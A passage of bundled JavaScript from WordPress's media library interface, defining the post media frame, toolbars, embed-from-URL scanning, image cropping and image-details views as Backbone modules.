) { return; } /* * If the selection supports multiple items, validate the stored * attachments based on the new selection's conditions. Record * the attachments that are not included; we'll maintain a * reference to those. Other attachments are considered in flux. */ if ( selection.multiple ) { selection.reset( [], { silent: true }); selection.validateAll( manager.attachments ); manager.difference = _.difference( manager.attachments.models, selection.models ); } // Sync the selection's single item with the master. selection.single( manager.single ); }, /** * Record the currently active attachments, which is a combination * of the selection's attachments and the set of selected * attachments that this specific selection considered invalid. * Reset the difference and record the single attachment. * * @since 3.5.0 */ recordSelection: function() { var selection = this.get('selection'), manager = this.frame._selection; if ( ! this.get('syncSelection') || ! manager || ! selection ) { return; } if ( selection.multiple ) { manager.attachments.reset( selection.toArray().concat( manager.difference ) ); manager.difference = []; } else { manager.attachments.add( selection.toArray() ); } manager.single = selection._single; } }; module.exports = selectionSync; /***/ }), /***/ 4274: /***/ ((module) => { var Select = wp.media.view.MediaFrame.Select, Library = wp.media.controller.Library, l10n = wp.media.view.l10n, Post; /** * wp.media.view.MediaFrame.Post * * The frame for manipulating media on the Edit Post page. * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame.Select * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ Post = Select.extend(/** @lends wp.media.view.MediaFrame.Post.prototype */{ initialize: function() { this.counts = { audio: { count: wp.media.view.settings.attachmentCounts.audio, state: 'playlist' }, video: { count: wp.media.view.settings.attachmentCounts.video, state: 'video-playlist' } }; _.defaults( this.options, { multiple: true, editing: false, state: 'insert', metadata: {} }); // Call 'initialize' directly on the parent class. Select.prototype.initialize.apply( this, arguments ); this.createIframeStates(); }, /** * Create the default states. */ createStates: function() { var options = this.options; this.states.add([ // Main states. new Library({ id: 'insert', title: l10n.insertMediaTitle, priority: 20, toolbar: 'main-insert', filterable: 'all', library: wp.media.query( options.library ), multiple: options.multiple ? 'reset' : false, editable: true, // If the user isn't allowed to edit fields, // can they still edit it locally? allowLocalEdits: true, // Show the attachment display settings. displaySettings: true, // Update user settings when users adjust the // attachment display settings. displayUserSettings: true }), new Library({ id: 'gallery', title: l10n.createGalleryTitle, priority: 40, toolbar: 'main-gallery', filterable: 'uploaded', multiple: 'add', editable: false, library: wp.media.query( _.defaults({ type: 'image' }, options.library ) ) }), // Embed states. new wp.media.controller.Embed( { metadata: options.metadata } ), new wp.media.controller.EditImage( { model: options.editImage } ), // Gallery states. new wp.media.controller.GalleryEdit({ library: options.selection, editing: options.editing, menu: 'gallery' }), new wp.media.controller.GalleryAdd(), new Library({ id: 'playlist', title: l10n.createPlaylistTitle, priority: 60, toolbar: 'main-playlist', filterable: 'uploaded', multiple: 'add', editable: false, library: wp.media.query( _.defaults({ type: 'audio' }, options.library ) ) }), // Playlist states. new wp.media.controller.CollectionEdit({ type: 'audio', collectionType: 'playlist', title: l10n.editPlaylistTitle, SettingsView: wp.media.view.Settings.Playlist, library: options.selection, editing: options.editing, menu: 'playlist', dragInfoText: l10n.playlistDragInfo, dragInfo: false }), new wp.media.controller.CollectionAdd({ type: 'audio', collectionType: 'playlist', title: l10n.addToPlaylistTitle }), new Library({ id: 'video-playlist', title: l10n.createVideoPlaylistTitle, priority: 60, toolbar: 'main-video-playlist', filterable: 'uploaded', multiple: 'add', editable: false, library: wp.media.query( _.defaults({ type: 'video' }, options.library ) ) }), new wp.media.controller.CollectionEdit({ type: 'video', collectionType: 'playlist', title: l10n.editVideoPlaylistTitle, SettingsView: wp.media.view.Settings.Playlist, library: options.selection, editing: options.editing, menu: 'video-playlist', dragInfoText: l10n.videoPlaylistDragInfo, dragInfo: false }), new wp.media.controller.CollectionAdd({ type: 'video', collectionType: 'playlist', title: l10n.addToVideoPlaylistTitle }) ]); if ( wp.media.view.settings.post.featuredImageId ) { this.states.add( new wp.media.controller.FeaturedImage() ); } }, bindHandlers: function() { var handlers, checkCounts; Select.prototype.bindHandlers.apply( this, arguments ); this.on( 'activate', this.activate, this ); // Only bother checking media type counts if one of the counts is zero. checkCounts = _.find( this.counts, function( type ) { return type.count === 0; } ); if ( typeof checkCounts !== 'undefined' ) { this.listenTo( wp.media.model.Attachments.all, 'change:type', this.mediaTypeCounts ); } this.on( 'menu:create:gallery', this.createMenu, this ); this.on( 'menu:create:playlist', this.createMenu, this ); this.on( 'menu:create:video-playlist', this.createMenu, this ); this.on( 'toolbar:create:main-insert', this.createToolbar, this ); this.on( 'toolbar:create:main-gallery', this.createToolbar, this ); this.on( 'toolbar:create:main-playlist', this.createToolbar, this ); this.on( 'toolbar:create:main-video-playlist', this.createToolbar, this ); this.on( 'toolbar:create:featured-image', this.featuredImageToolbar, this ); this.on( 'toolbar:create:main-embed', this.mainEmbedToolbar, this ); handlers = { menu: { 'default': 'mainMenu', 'gallery': 'galleryMenu', 'playlist': 'playlistMenu', 'video-playlist': 'videoPlaylistMenu' }, content: { 'embed': 'embedContent', 'edit-image': 'editImageContent', 'edit-selection': 'editSelectionContent' }, toolbar: { 'main-insert': 'mainInsertToolbar', 'main-gallery': 'mainGalleryToolbar', 'gallery-edit': 'galleryEditToolbar', 'gallery-add': 'galleryAddToolbar', 'main-playlist': 'mainPlaylistToolbar', 'playlist-edit': 'playlistEditToolbar', 'playlist-add': 'playlistAddToolbar', 'main-video-playlist': 'mainVideoPlaylistToolbar', 'video-playlist-edit': 'videoPlaylistEditToolbar', 'video-playlist-add': 'videoPlaylistAddToolbar' } }; _.each( handlers, function( regionHandlers, region ) { _.each( regionHandlers, function( callback, handler ) { this.on( region + ':render:' + handler, this[ callback ], this ); }, this ); }, this ); }, activate: function() { // Hide menu items for states tied to particular media types if there are no items. _.each( this.counts, function( type ) { if ( type.count < 1 ) { this.menuItemVisibility( type.state, 'hide' ); } }, this ); }, mediaTypeCounts: function( model, attr ) { if ( typeof this.counts[ attr ] !== 'undefined' && this.counts[ attr ].count < 1 ) { this.counts[ attr ].count++; this.menuItemVisibility( this.counts[ attr ].state, 'show' ); } }, // Menus. /** * @param {wp.Backbone.View} view */ mainMenu: function( view ) { view.set({ 'library-separator': new wp.media.View({ className: 'separator', priority: 100, attributes: { role: 'presentation' } }) }); }, menuItemVisibility: function( state, visibility ) { var menu = this.menu.get(); if ( visibility === 'hide' ) { menu.hide( state ); } else if ( visibility === 'show' ) { menu.show( state ); } }, /** * @param {wp.Backbone.View} view */ galleryMenu: function( view ) { var lastState = this.lastState(), previous = lastState && lastState.id, frame = this; view.set({ cancel: { text: l10n.cancelGalleryTitle, priority: 20, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } // Move focus to the modal after canceling a Gallery. this.controller.modal.focusManager.focus(); } }, separateCancel: new wp.media.View({ className: 'separator', priority: 40 }) }); }, playlistMenu: function( view ) { var lastState = this.lastState(), previous = lastState && lastState.id, frame = this; view.set({ cancel: { text: l10n.cancelPlaylistTitle, priority: 20, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } // Move focus to the modal after canceling an Audio Playlist. this.controller.modal.focusManager.focus(); } }, separateCancel: new wp.media.View({ className: 'separator', priority: 40 }) }); }, videoPlaylistMenu: function( view ) { var lastState = this.lastState(), previous = lastState && lastState.id, frame = this; view.set({ cancel: { text: l10n.cancelVideoPlaylistTitle, priority: 20, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } // Move focus to the modal after canceling a Video Playlist. this.controller.modal.focusManager.focus(); } }, separateCancel: new wp.media.View({ className: 'separator', priority: 40 }) }); }, // Content. embedContent: function() { var view = new wp.media.view.Embed({ controller: this, model: this.state() }).render(); this.content.set( view ); }, editSelectionContent: function() { var state = this.state(), selection = state.get('selection'), view; view = new wp.media.view.AttachmentsBrowser({ controller: this, collection: selection, selection: selection, model: state, sortable: true, search: false, date: false, dragInfo: true, AttachmentView: wp.media.view.Attachments.EditSelection }).render(); view.toolbar.set( 'backToLibrary', { text: l10n.returnToLibrary, priority: -100, click: function() { this.controller.content.mode('browse'); // Move focus to the modal when jumping back from Edit Selection to Add Media view. this.controller.modal.focusManager.focus(); } }); // Browse our library of attachments. this.content.set( view ); // Trigger the controller to set focus. this.trigger( 'edit:selection', this ); }, editImageContent: function() { var image = this.state().get('image'), view = new wp.media.view.EditImage( { model: image, controller: this } ).render(); this.content.set( view ); // After creating the wrapper view, load the actual editor via an Ajax call. view.loadEditor(); }, // Toolbars. /** * @param {wp.Backbone.View} view */ selectionStatusToolbar: function( view ) { var editable = this.state().get('editable'); view.set( 'selection', new wp.media.view.Selection({ controller: this, collection: this.state().get('selection'), priority: -40, // If the selection is editable, pass the callback to // switch the content mode. editable: editable && function() { this.controller.content.mode('edit-selection'); } }).render() ); }, /** * @param {wp.Backbone.View} view */ mainInsertToolbar: function( view ) { var controller = this; this.selectionStatusToolbar( view ); view.set( 'insert', { style: 'primary', priority: 80, text: l10n.insertIntoPost, requires: { selection: true }, /** * @ignore * * @fires wp.media.controller.State#insert */ click: function() { var state = controller.state(), selection = state.get('selection'); controller.close(); state.trigger( 'insert', selection ).reset(); } }); }, /** * @param {wp.Backbone.View} view */ mainGalleryToolbar: function( view ) { var controller = this; this.selectionStatusToolbar( view ); view.set( 'gallery', { style: 'primary', text: l10n.createNewGallery, priority: 60, requires: { selection: true }, click: function() { var selection = controller.state().get('selection'), edit = controller.state('gallery-edit'), models = selection.where({ type: 'image' }); edit.set( 'library', new wp.media.model.Selection( models, { props: selection.props.toJSON(), multiple: true }) ); // Jump to Edit Gallery view. this.controller.setState( 'gallery-edit' ); // Move focus to the modal after jumping to Edit Gallery view. this.controller.modal.focusManager.focus(); } }); }, mainPlaylistToolbar: function( view ) { var controller = this; this.selectionStatusToolbar( view ); view.set( 'playlist', { style: 'primary', text: l10n.createNewPlaylist, priority: 100, requires: { selection: true }, click: function() { var selection = controller.state().get('selection'), edit = controller.state('playlist-edit'), models = selection.where({ type: 'audio' }); edit.set( 'library', new wp.media.model.Selection( models, { props: selection.props.toJSON(), multiple: true }) ); // Jump to Edit Audio Playlist view. this.controller.setState( 'playlist-edit' ); // Move focus to the modal after jumping to Edit Audio Playlist view. this.controller.modal.focusManager.focus(); } }); }, mainVideoPlaylistToolbar: function( view ) { var controller = this; this.selectionStatusToolbar( view ); view.set( 'video-playlist', { style: 'primary', text: l10n.createNewVideoPlaylist, priority: 100, requires: { selection: true }, click: function() { var selection = controller.state().get('selection'), edit = controller.state('video-playlist-edit'), models = selection.where({ type: 'video' }); edit.set( 'library', new wp.media.model.Selection( models, { props: selection.props.toJSON(), multiple: true }) ); // Jump to Edit Video Playlist view. this.controller.setState( 'video-playlist-edit' ); // Move focus to the modal after jumping to Edit Video Playlist view. this.controller.modal.focusManager.focus(); } }); }, featuredImageToolbar: function( toolbar ) { this.createSelectToolbar( toolbar, { text: l10n.setFeaturedImage, state: this.options.state }); }, mainEmbedToolbar: function( toolbar ) { toolbar.view = new wp.media.view.Toolbar.Embed({ controller: this }); }, galleryEditToolbar: function() { var editing = this.state().get('editing'); this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: editing ? l10n.updateGallery : l10n.insertGallery, priority: 80, requires: { library: true, uploadingComplete: true }, /** * @fires wp.media.controller.State#update */ click: function() { var controller = this.controller, state = controller.state(); controller.close(); state.trigger( 'update', state.get('library') ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); }, galleryAddToolbar: function() { this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: l10n.addToGallery, priority: 80, requires: { selection: true }, /** * @fires wp.media.controller.State#reset */ click: function() { var controller = this.controller, state = controller.state(), edit = controller.state('gallery-edit'); edit.get('library').add( state.get('selection').models ); state.trigger('reset'); controller.setState('gallery-edit'); // Move focus to the modal when jumping back from Add to Gallery to Edit Gallery view. this.controller.modal.focusManager.focus(); } } } }) ); }, playlistEditToolbar: function() { var editing = this.state().get('editing'); this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: editing ? l10n.updatePlaylist : l10n.insertPlaylist, priority: 80, requires: { library: true }, /** * @fires wp.media.controller.State#update */ click: function() { var controller = this.controller, state = controller.state(); controller.close(); state.trigger( 'update', state.get('library') ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); }, playlistAddToolbar: function() { this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: l10n.addToPlaylist, priority: 80, requires: { selection: true }, /** * @fires wp.media.controller.State#reset */ click: function() { var controller = this.controller, state = controller.state(), edit = controller.state('playlist-edit'); edit.get('library').add( state.get('selection').models ); state.trigger('reset'); controller.setState('playlist-edit'); // Move focus to the modal when jumping back from Add to Audio Playlist to Edit Audio Playlist view. this.controller.modal.focusManager.focus(); } } } }) ); }, videoPlaylistEditToolbar: function() { var editing = this.state().get('editing'); this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: editing ? l10n.updateVideoPlaylist : l10n.insertVideoPlaylist, priority: 140, requires: { library: true }, click: function() { var controller = this.controller, state = controller.state(), library = state.get('library'); library.type = 'video'; controller.close(); state.trigger( 'update', library ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); }, videoPlaylistAddToolbar: function() { this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: l10n.addToVideoPlaylist, priority: 140, requires: { selection: true }, click: function() { var controller = this.controller, state = controller.state(), edit = controller.state('video-playlist-edit'); edit.get('library').add( state.get('selection').models ); state.trigger('reset'); controller.setState('video-playlist-edit'); // Move focus to the modal when jumping back from Add to Video Playlist to Edit Video Playlist view. this.controller.modal.focusManager.focus(); } } } }) ); } }); module.exports = Post; /***/ }), /***/ 4338: /***/ ((module) => { /** * wp.media.view.Label * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Label = wp.media.View.extend(/** @lends wp.media.view.Label.prototype */{ tagName: 'label', className: 'screen-reader-text', initialize: function() { this.value = this.options.value; }, render: function() { this.$el.html( this.value ); return this; } }); module.exports = Label; /***/ }), /***/ 4593: /***/ ((module) => { /** * wp.media.view.Attachment.EditSelection * * @memberOf wp.media.view.Attachment * * @class * @augments wp.media.view.Attachment.Selection * @augments wp.media.view.Attachment * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var EditSelection = wp.media.view.Attachment.Selection.extend(/** @lends wp.media.view.Attachment.EditSelection.prototype */{ buttons: { close: true } }); module.exports = EditSelection; /***/ }), /***/ 4747: /***/ ((module) => { /** * wp.media.View * * The base view class for media. * * Undelegating events, removing events from the model, and * removing events from the controller mirror the code for * `Backbone.View.dispose` in Backbone 0.9.8 development. * * This behavior has since been removed, and should not be used * outside of the media manager. * * @memberOf wp.media * * @class * @augments wp.Backbone.View * @augments Backbone.View */ var View = wp.Backbone.View.extend(/** @lends wp.media.View.prototype */{ constructor: function( options ) { if ( options && options.controller ) { this.controller = options.controller; } wp.Backbone.View.apply( this, arguments ); }, /** * @todo The internal comment mentions this might have been a stop-gap * before Backbone 0.9.8 came out. Figure out if Backbone core takes * care of this in Backbone.View now. * * @return {wp.media.View} Returns itself to allow chaining. */ dispose: function() { /* * Undelegating events, removing events from the model, and * removing events from the controller mirror the code for * `Backbone.View.dispose` in Backbone 0.9.8 development. */ this.undelegateEvents(); if ( this.model && this.model.off ) { this.model.off( null, null, this ); } if ( this.collection && this.collection.off ) { this.collection.off( null, null, this ); } // Unbind controller events. if ( this.controller && this.controller.off ) { this.controller.off( null, null, this ); } return this; }, /** * @return {wp.media.View} Returns itself to allow chaining. */ remove: function() { this.dispose(); /** * call 'remove' directly on the parent class */ return wp.Backbone.View.prototype.remove.apply( this, arguments ); } }); module.exports = View; /***/ }), /***/ 4783: /***/ ((module) => { var Menu = wp.media.view.Menu, Router; /** * wp.media.view.Router * * @memberOf wp.media.view * * @class * @augments wp.media.view.Menu * @augments wp.media.view.PriorityList * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Router = Menu.extend(/** @lends wp.media.view.Router.prototype */{ tagName: 'div', className: 'media-router', property: 'contentMode', ItemView: wp.media.view.RouterItem, region: 'router', attributes: { role: 'tablist', 'aria-orientation': 'horizontal' }, initialize: function() { this.controller.on( 'content:render', this.update, this ); // Call 'initialize' directly on the parent class. Menu.prototype.initialize.apply( this, arguments ); }, update: function() { var mode = this.controller.content.mode(); if ( mode ) { this.select( mode ); } } }); module.exports = Router; /***/ }), /***/ 4910: /***/ ((module) => { var l10n = wp.media.view.l10n, $ = Backbone.$, Embed; /** * wp.media.controller.Embed * * A state for embedding media from a URL. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} attributes The attributes hash passed to the state. * @param {string} [attributes.id=embed] Unique identifier. * @param {string} [attributes.title=Insert From URL] Title for the state. Displays in the media menu and the frame's title region. * @param {string} [attributes.content=embed] Initial mode for the content region. * @param {string} [attributes.menu=default] Initial mode for the menu region. * @param {string} [attributes.toolbar=main-embed] Initial mode for the toolbar region. * @param {string} [attributes.menu=false] Initial mode for the menu region. * @param {int} [attributes.priority=120] The priority for the state link in the media menu. * @param {string} [attributes.type=link] The type of embed. Currently only link is supported. * @param {string} [attributes.url] The embed URL. * @param {object} [attributes.metadata={}] Properties of the embed, which will override attributes.url if set. */ Embed = wp.media.controller.State.extend(/** @lends wp.media.controller.Embed.prototype */{ defaults: { id: 'embed', title: l10n.insertFromUrlTitle, content: 'embed', menu: 'default', toolbar: 'main-embed', priority: 120, type: 'link', url: '', metadata: {} }, // The amount of time used when debouncing the scan. sensitivity: 400, initialize: function(options) { this.metadata = options.metadata; this.debouncedScan = _.debounce( _.bind( this.scan, this ), this.sensitivity ); this.props = new Backbone.Model( this.metadata || { url: '' }); this.props.on( 'change:url', this.debouncedScan, this ); this.props.on( 'change:url', this.refresh, this ); this.on( 'scan', this.scanImage, this ); }, /** * Trigger a scan of the embedded URL's content for metadata required to embed. * * @fires wp.media.controller.Embed#scan */ scan: function() { var scanners, embed = this, attributes = { type: 'link', scanners: [] }; /* * Scan is triggered with the list of `attributes` to set on the * state, useful for the 'type' attribute and 'scanners' attribute, * an array of promise objects for asynchronous scan operations. */ if ( this.props.get('url') ) { this.trigger( 'scan', attributes ); } if ( attributes.scanners.length ) { scanners = attributes.scanners = $.when.apply( $, attributes.scanners ); scanners.always( function() { if ( embed.get('scanners') === scanners ) { embed.set( 'loading', false ); } }); } else { attributes.scanners = null; } attributes.loading = !! attributes.scanners; this.set( attributes ); }, /** * Try scanning the embed as an image to discover its dimensions. * * @param {Object} attributes */ scanImage: function( attributes ) { var frame = this.frame, state = this, url = this.props.get('url'), image = new Image(), deferred = $.Deferred(); attributes.scanners.push( deferred.promise() ); // Try to load the image and find its width/height. image.onload = function() { deferred.resolve(); if ( state !== frame.state() || url !== state.props.get('url') ) { return; } state.set({ type: 'image' }); state.props.set({ width: image.width, height: image.height }); }; image.onerror = deferred.reject; image.src = url; }, refresh: function() { this.frame.toolbar.get().refresh(); }, reset: function() { this.props.clear().set({ url: '' }); if ( this.active ) { this.refresh(); } } }); module.exports = Embed; /***/ }), /***/ 5232: /***/ ((module) => { /** * wp.media.view.Attachment.EditLibrary * * @memberOf wp.media.view.Attachment * * @class * @augments wp.media.view.Attachment * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var EditLibrary = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.EditLibrary.prototype */{ buttons: { close: true } }); module.exports = EditLibrary; /***/ }), /***/ 5275: /***/ ((module) => { var View = wp.media.View, Toolbar; /** * wp.media.view.Toolbar * * A toolbar which consists of a primary and a secondary section. Each sections * can be filled with views. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Toolbar = View.extend(/** @lends wp.media.view.Toolbar.prototype */{ tagName: 'div', className: 'media-toolbar', initialize: function() { var state = this.controller.state(), selection = this.selection = state.get('selection'), library = this.library = state.get('library'); this._views = {}; // The toolbar is composed of two `PriorityList` views. this.primary = new wp.media.view.PriorityList(); this.secondary = new wp.media.view.PriorityList(); this.tertiary = new wp.media.view.PriorityList(); this.primary.$el.addClass('media-toolbar-primary search-form'); this.secondary.$el.addClass('media-toolbar-secondary'); this.tertiary.$el.addClass('media-bg-overlay'); this.views.set([ this.secondary, this.primary, this.tertiary ]); if ( this.options.items ) { this.set( this.options.items, { silent: true }); } if ( ! this.options.silent ) { this.render(); } if ( selection ) { selection.on( 'add remove reset', this.refresh, this ); } if ( library ) { library.on( 'add remove reset', this.refresh, this ); } }, /** * @return {wp.media.view.Toolbar} Returns itself to allow chaining */ dispose: function() { if ( this.selection ) { this.selection.off( null, null, this ); } if ( this.library ) { this.library.off( null, null, this ); } /** * call 'dispose' directly on the parent class */ return View.prototype.dispose.apply( this, arguments ); }, ready: function() { this.refresh(); }, /** * @param {string} id * @param {Backbone.View|Object} view * @param {Object} [options={}] * @return {wp.media.view.Toolbar} Returns itself to allow chaining. */ set: function( id, view, options ) { var list; options = options || {}; // Accept an object with an `id` : `view` mapping. if ( _.isObject( id ) ) { _.each( id, function( view, id ) { this.set( id, view, { silent: true }); }, this ); } else { if ( ! ( view instanceof Backbone.View ) ) { view.classes = [ 'media-button-' + id ].concat( view.classes || [] ); view = new wp.media.view.Button( view ).render(); } view.controller = view.controller || this.controller; this._views[ id ] = view; list = view.options.priority < 0 ? 'secondary' : 'primary'; this[ list ].set( id, view, options ); } if ( ! options.silent ) { this.refresh(); } return this; }, /** * @param {string} id * @return {wp.media.view.Button} */ get: function( id ) { return this._views[ id ]; }, /** * @param {string} id * @param {Object} options * @return {wp.media.view.Toolbar} Returns itself to allow chaining. */ unset: function( id, options ) { delete this._views[ id ]; this.primary.unset( id, options ); this.secondary.unset( id, options ); this.tertiary.unset( id, options ); if ( ! options || ! options.silent ) { this.refresh(); } return this; }, refresh: function() { var state = this.controller.state(), library = state.get('library'), selection = state.get('selection'); _.each( this._views, function( button ) { if ( ! button.model || ! button.options || ! button.options.requires ) { return; } var requires = button.options.requires, disabled = false, modelsUploading = library && ! _.isEmpty( library.findWhere( { 'uploading': true } ) ); // Prevent insertion of attachments if any of them are still uploading. if ( selection && selection.models ) { disabled = _.some( selection.models, function( attachment ) { return attachment.get('uploading') === true; }); } if ( requires.uploadingComplete && modelsUploading ) { disabled = true; } if ( requires.selection && selection && ! selection.length ) { disabled = true; } else if ( requires.library && library && ! library.length ) { disabled = true; } button.model.set( 'disabled', disabled ); }); } }); module.exports = Toolbar; /***/ }), /***/ 5422: /***/ ((module) => { var l10n = wp.media.view.l10n, Cropper; /** * wp.media.controller.Cropper * * A class for cropping an image when called from the header media customization panel. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model */ Cropper = wp.media.controller.State.extend(/** @lends wp.media.controller.Cropper.prototype */{ defaults: { id: 'cropper', title: l10n.cropImage, // Region mode defaults. toolbar: 'crop', content: 'crop', router: false, canSkipCrop: false, // Default doCrop Ajax arguments to allow the Customizer (for example) to inject state. doCropArgs: {} }, /** * Shows the crop image window when called from the Add new image button. * * @since 4.2.0 * * @return {void} */ activate: function() { this.frame.on( 'content:create:crop', this.createCropContent, this ); this.frame.on( 'close', this.removeCropper, this ); this.set('selection', new Backbone.Collection(this.frame._selection.single)); }, /** * Changes the state of the toolbar window to browse mode. * * @since 4.2.0 * * @return {void} */ deactivate: function() { this.frame.toolbar.mode('browse'); }, /** * Creates the crop image window. * * Initialized when clicking on the Select and Crop button. * * @since 4.2.0 * * @fires crop window * * @return {void} */ createCropContent: function() { this.cropperView = new wp.media.view.Cropper({ controller: this, attachment: this.get('selection').first() }); this.cropperView.on('image-loaded', this.createCropToolbar, this); this.frame.content.set(this.cropperView); }, /** * Removes the image selection and closes the cropping window. * * @since 4.2.0 * * @return {void} */ removeCropper: function() { this.imgSelect.cancelSelection(); this.imgSelect.setOptions({remove: true}); this.imgSelect.update(); this.cropperView.remove(); }, /** * Checks if cropping can be skipped and creates crop toolbar accordingly. * * @since 4.2.0 * * @return {void} */ createCropToolbar: function() { var canSkipCrop, hasRequiredAspectRatio, suggestedCropSize, toolbarOptions; suggestedCropSize = this.get( 'suggestedCropSize' ); hasRequiredAspectRatio = this.get( 'hasRequiredAspectRatio' ); canSkipCrop = this.get( 'canSkipCrop' ) || false; toolbarOptions = { controller: this.frame, items: { insert: { style: 'primary', text: l10n.cropImage, priority: 80, requires: { library: false, selection: false }, click: function() { var controller = this.controller, selection; selection = controller.state().get('selection').first(); selection.set({cropDetails: controller.state().imgSelect.getSelection()}); this.$el.text(l10n.cropping); this.$el.attr('disabled', true); controller.state().doCrop( selection ).done( function( croppedImage ) { controller.trigger('cropped', croppedImage ); controller.close(); }).fail( function() { controller.trigger('content:error:crop'); }); } } } }; if ( canSkipCrop || hasRequiredAspectRatio ) { _.extend( toolbarOptions.items, { skip: { style: 'secondary', text: l10n.skipCropping, priority: 70, requires: { library: false, selection: false }, click: function() { var controller = this.controller, selection = controller.state().get( 'selection' ).first(); controller.state().cropperView.remove(); // Apply the suggested crop size. if ( hasRequiredAspectRatio && !canSkipCrop ) { selection.set({cropDetails: suggestedCropSize}); controller.state().doCrop( selection ).done( function( croppedImage ) { controller.trigger( 'cropped', croppedImage ); controller.close(); }).fail( function() { controller.trigger( 'content:error:crop' ); }); return; } // Skip the cropping process. controller.trigger( 'skippedcrop', selection ); controller.close(); } } }); } this.frame.toolbar.set( new wp.media.view.Toolbar(toolbarOptions) ); }, /** * Creates an object with the image attachment and crop properties. * * @since 4.2.0 * * @return {$.promise} A jQuery promise with the custom header crop details. */ doCrop: function( attachment ) { return wp.ajax.post( 'custom-header-crop', _.extend( {}, this.defaults.doCropArgs, { nonce: attachment.get( 'nonces' ).edit, id: attachment.get( 'id' ), cropDetails: attachment.get( 'cropDetails' ) } ) ); } }); module.exports = Cropper; /***/ }), /***/ 5424: /***/ ((module) => { var Select = wp.media.view.MediaFrame.Select, l10n = wp.media.view.l10n, ImageDetails; /** * wp.media.view.MediaFrame.ImageDetails * * A media frame for manipulating an image that's already been inserted * into a post. * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame.Select * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ ImageDetails = Select.extend(/** @lends wp.media.view.MediaFrame.ImageDetails.prototype */{ defaults: { id: 'image', url: '', menu: 'image-details', content: 'image-details', toolbar: 'image-details', type: 'link', title: l10n.imageDetailsTitle, priority: 120 }, initialize: function( options ) { this.image = new wp.media.model.PostImage( options.metadata ); this.options.selection = new wp.media.model.Selection( this.image.attachment, { multiple: false } ); Select.prototype.initialize.apply( this, arguments ); }, bindHandlers: function() { Select.prototype.bindHandlers.apply( this, arguments ); this.on( 'menu:create:image-details', this.createMenu, this ); this.on( 'content:create:image-details', this.imageDetailsContent, this ); this.on( 'content:render:edit-image', this.editImageContent, this ); this.on( 'toolbar:render:image-details', this.renderImageDetailsToolbar, this ); // Override the select toolbar. this.on( 'toolbar:render:replace', this.renderReplaceImageToolbar, this ); }, createStates: function() { this.states.add([ new wp.media.controller.ImageDetails({ image: this.image, editable: false }), new wp.media.controller.ReplaceImage({ id: 'replace-image', library: wp.media.query( { type: 'image' } ), image: this.image, multiple: false, title: l10n.imageReplaceTitle, toolbar: 'replace', priority: 80, displaySettings: true }), new wp.media.controller.EditImage( { image: this.image, selection: this.options.selection } ) ]); }, imageDetailsContent: function( options ) { options.view = new wp.media.view.ImageDetails({ controller: this, model: this.state().image, attachment: this.state().image.attachment }); }, editImageContent: function() { var state = this.state(), model = state.get('image'), view; if ( ! model ) { return; } view = new wp.media.view.EditImage( { model: model, controller: this } ).render(); this.content.set( view ); // After bringing in the frame, load the actual editor via an Ajax call. view.loadEditor(); }, renderImageDetailsToolbar: function() { this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { select: { style: 'primary', text: l10n.update, priority: 80, click: function() { var controller = this.controller, state = controller.state(); controller.close(); // Not sure if we want to use wp.media.string.image which will create a shortcode or // perhaps wp.html.string to at least to build the <img />. state.trigger( 'update', controller.image.toJSON() ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); }, renderReplaceImageToolbar: function() { var frame = this, lastState = frame.lastState(), previous = lastState && lastState.id; this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { back: { text: l10n.back, priority: 80, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } } }, replace: { style: 'primary', text: l10n.replace, priority: 20, requires: { selection: true }, click: function() { var controller = this.controller, state = controller.state(), selection = state.get( 'selection' ), attachment = selection.single(); controller.close(); controller.image.changeAttachment( attachment, state.display( attachment ) ); // Not sure if we want to use wp.media.string.image which will create a shortcode or // perhaps wp.html.string to at least to build the <img />. state.trigger( 'replace', controller.image.toJSON() ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); } }); module.exports = ImageDetails; /***/ }), /***/ 5663: /***/ ((module) => { var l10n = wp.media.view.l10n, EditImage; /** * wp.media.controller.EditImage * * A state for editing (cropping, etc.) an image. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} attributes The attributes hash passed to the state. * @param {wp.media.model.Attachment} attributes.model The attachment. * @param {string} [attributes.id=edit-image] Unique identifier. * @param {string} [attributes.title=Edit Image] Title for the state. Displays in the media menu and the frame's title region. * @param {string} [attributes.content=edit-image] Initial mode for the content region. * @param {string} [attributes.toolbar=edit-image] Initial mode for the toolbar region. * @param {string} 